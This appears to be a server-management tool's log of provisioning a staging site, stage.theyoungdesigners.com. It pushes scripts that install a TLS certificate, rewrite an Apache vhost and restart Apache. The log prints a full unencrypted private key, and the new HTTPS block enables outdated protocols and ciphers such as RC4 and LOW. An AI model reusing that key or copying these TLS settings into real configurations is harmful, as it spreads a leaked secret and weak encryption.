2025-10-03 15:01:07: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-03 15:01:11: Establishing a connection
2025-10-03 15:01:12: 

PUT: /tmp/pkp271894

#!/bin/bash
temp_file=$(mktemp)
TARGET=71986a4933a5df06d6ba64d41a00e6e1.crt

cat > $temp_file <<'endmsg'
71:98:6a:49:33:a5:df:06:d6:ba:64:d4:1a:00:e6:e1

-----BEGIN CERTIFICATE-----
MIIDczCCAlugAwIBAgIUMm1oEeRN5d3o1/MlMKw1t4ShrcIwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI1MTAwMzE1MDExMVoXDTI2MTAwMzE1MDExMVow
JjEkMCIGA1UEAwwbc3RhZ2UudGhleW91bmdkZXNpZ25lcnMuY29tMIIBIjANBgkq
hkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA24fepavXu60e37j/ronIcnw9mZbKxVy5
Xu6AhorV7VHZKa/MQ64RbWErX8CLyP0r/62JzzBhgXVklJmr0KS0K30iNcv+E0y+
Zh6w6K59KIejWv46AZekDMsWNFzXLvEnLEhDuQDWjn/4DTN8qf5aQZIIL4OG/lqx
F0zAD0zF8IcNm6oo88zjIXIi2EvoT25PR6vjX6rPdaDIbnquiLbujdsolEeGYvEQ
u5hsatetsSzVl2RJmfHytysL50ooNuy10Cf8SN4l3rVV9gu8iwyw27lrbXmgzrXd
Gu3G11QBoAPahva0a/ZQ96X+Oz/mx1ZSdcu5NNMD8lywB7z1Tmc6CwIDAQABo4GD
MIGAMB0GA1UdDgQWBBTg8y+JP94dULYQ505IpdHvhU1qnTAfBgNVHSMEGDAWgBSF
m24M/c0kteH10KQDOIJXSzBz/DALBgNVHQ8EBAMCBaAwCQYDVR0TBAIwADAmBgNV
HREEHzAdghtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wDQYJKoZIhvcNAQEL
BQADggEBAMUIp13aJVNIlxEULOaaaXMJcWrH/MRufw/A3dBXydZJVKB7kEXdNL2H
8yWH4887UEjnfQlIvwJCf1qq8rlp2reQrrYp77O5iXcuesBRhCec9RaOGS4y8ZUj
2lNh2hWTssbSglhOHBTAhe7vJtAEbTHgDEUyQ6bdmlp8mZzrb6akXhGq9GUF0XDS
UqcFIzMpcoA5Bxrt0LX4NaWgJxbRiE7sW4Ez5uT5sryr5Gye9bB687Zjgv23vtvo
Om3k4HWmQpY2Ua6G/9qrdB4dzG2HW7qNT5bVn43buOA3Oq/xg7Du9i8/qJaTfosK
r5GHQ4irNNwQHC+6W9e6MDWQKP40+4U=
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDbh96lq9e7rR7f
uP+uichyfD2ZlsrFXLle7oCGitXtUdkpr8xDrhFtYStfwIvI/Sv/rYnPMGGBdWSU
mavQpLQrfSI1y/4TTL5mHrDorn0oh6Na/joBl6QMyxY0XNcu8ScsSEO5ANaOf/gN
M3yp/lpBkggvg4b+WrEXTMAPTMXwhw2bqijzzOMhciLYS+hPbk9Hq+Nfqs91oMhu
eq6Itu6N2yiUR4Zi8RC7mGxq162xLNWXZEmZ8fK3KwvnSig27LXQJ/xI3iXetVX2
C7yLDLDbuWtteaDOtd0a7cbXVAGgA9qG9rRr9lD3pf47P+bHVlJ1y7k00wPyXLAH
vPVOZzoLAgMBAAECggEAF/voH0F++EoZrWeQx4jWFWvtbvJChP10YyK7d/eDF8Jx
b1R9hIdn8ANFsdhfbT37qJtVCwXGIVap/nIri0fzRy0Mp8P5pjIkOxPvT/yAQAVR
m4da3wGqMpudeWsLN12xYe0jOPsWdcsVVpvhatEXG0LREh/Uh8Vww5LnCMTiezyS
OhsYoBV40lWPrRbSoIQzHNkm6n06VbyMjpu3qyZ4qPQG7ftdGTtCnKemN2TcYIEs
op1GBv0/HScXg/2CXW/0HlS036MLTdMKk8LLOnxfMTNLwt8Pj4rAFUDkyUOZnV8A
qnbyTaNtEdntk1k2NNV1P8iksXEn1VXcDaXt7ZPPwQKBgQDwIRUIQJYn3aSNstFo
7sAVRGwxcQnjNmX7ac38vIPqPJ6Zj+VZJ2QQxCWeUYOmffQW4S83yYX8SdyTTgc1
I4IHnidoAtxWBou9Ew3xBF8f0aye4ie7TrghFp7wgBsC6Io1RHTSOW2Jw2rc2gtd
8gmi7zK+Z70pX2Ec6c8I2biMTQKBgQDqCkReXp2r03MfxyQgJvGZy+RQ1irnkIDM
DBoFXCQBw3t9f0vBhQxu81z2v/nK8PMOF/ZnwgDEkkTddVPiYWvE2nJOU3QewjJz
LE9ZyDGnb8n5zZQrV5PqWqe4hB24CB1TsBJyMcHjVSkheiIsOmylnPvJh16/Kzwr
KUzCSJIrtwKBgAlpspJdPcWYSaAIV28elMcApKEXhkSy2DKPxjRXC3C+KZVpb5sc
ES8bEUJwfZGkNFJFR32PV8I4/v2DPIMXvjwgNfk8y3hPz2B9A7nj6vqrVHHx+Y69
Gjip01coHmbxyKEn6tBm0eVplKHNpk5rc3dAmyOdm2uownzIqYX2SuatAoGAV4np
kqavMPLRL8SrxX7rhUwXJQlGWQDau/eW0ARrz2EP0pwHeOXMBb/vOLgLtZW0Q8RA
vQR6hwvyyCa3bohj5+iRMqzSVSLr/dpH/9v6fpc4o7/6OM/0Goc4DrMT7p7SYVgN
PjtQOzjCPqxRFdvwgW2bXADPNo/0XGyBMnY0fjcCgYA4yBTzZuFKW0ocWyQjGIxO
XT8MIYfbuPueFJeGWMmfKSy27xJ1VEB4IJ+6z7dvd2/hJVb6u7UZqv8qJBkDU1OI
fsIyeWIxoOaqFDaMBi4W/iAzQBjVkaFz79FdqfqTihvToyexWs4XmNiNfNM8NHvt
8wpEevPn3kuF8YSO9q8Xug==
-----END PRIVATE KEY-----



endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-03 15:01:13: 

chmod 755 /tmp/pkp271894; /tmp/pkp271894; rm /tmp/pkp271894

2025-10-03 15:01:13: 


dir=/etc/ssl/certs


2025-10-03 15:01:13: 

PUT: /tmp/pkp215314

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_stage.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-03 15:01:14: 

chmod 755 /tmp/pkp215314; /tmp/pkp215314; rm /tmp/pkp215314

2025-10-03 15:01:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf 47

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options +FollowSymLinks -MultiViews
        AllowOverride   All
        Require all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>







2025-10-03 15:01:14: 

PUT: /tmp/pkp983247

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_stage.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_stage.conf
DOCROOT=/mnt/internal/www/theyoungdesigners_stage/public
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/theyoungdesigners
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_stage.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf= 1'
fi


2025-10-03 15:01:14: 

chmod 755 /tmp/pkp983247; /tmp/pkp983247; rm /tmp/pkp983247

2025-10-03 15:01:15: 


link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf
file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf= 1


2025-10-03 15:01:15: 

PUT: /tmp/pkp531051

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-03 15:01:15: 

chmod 755 /tmp/pkp531051; /tmp/pkp531051; rm /tmp/pkp531051

2025-10-03 15:01:15: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-03 15:01:16: Establishing a connection
2025-10-03 15:01:16: 

PUT: /tmp/pkp788839

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
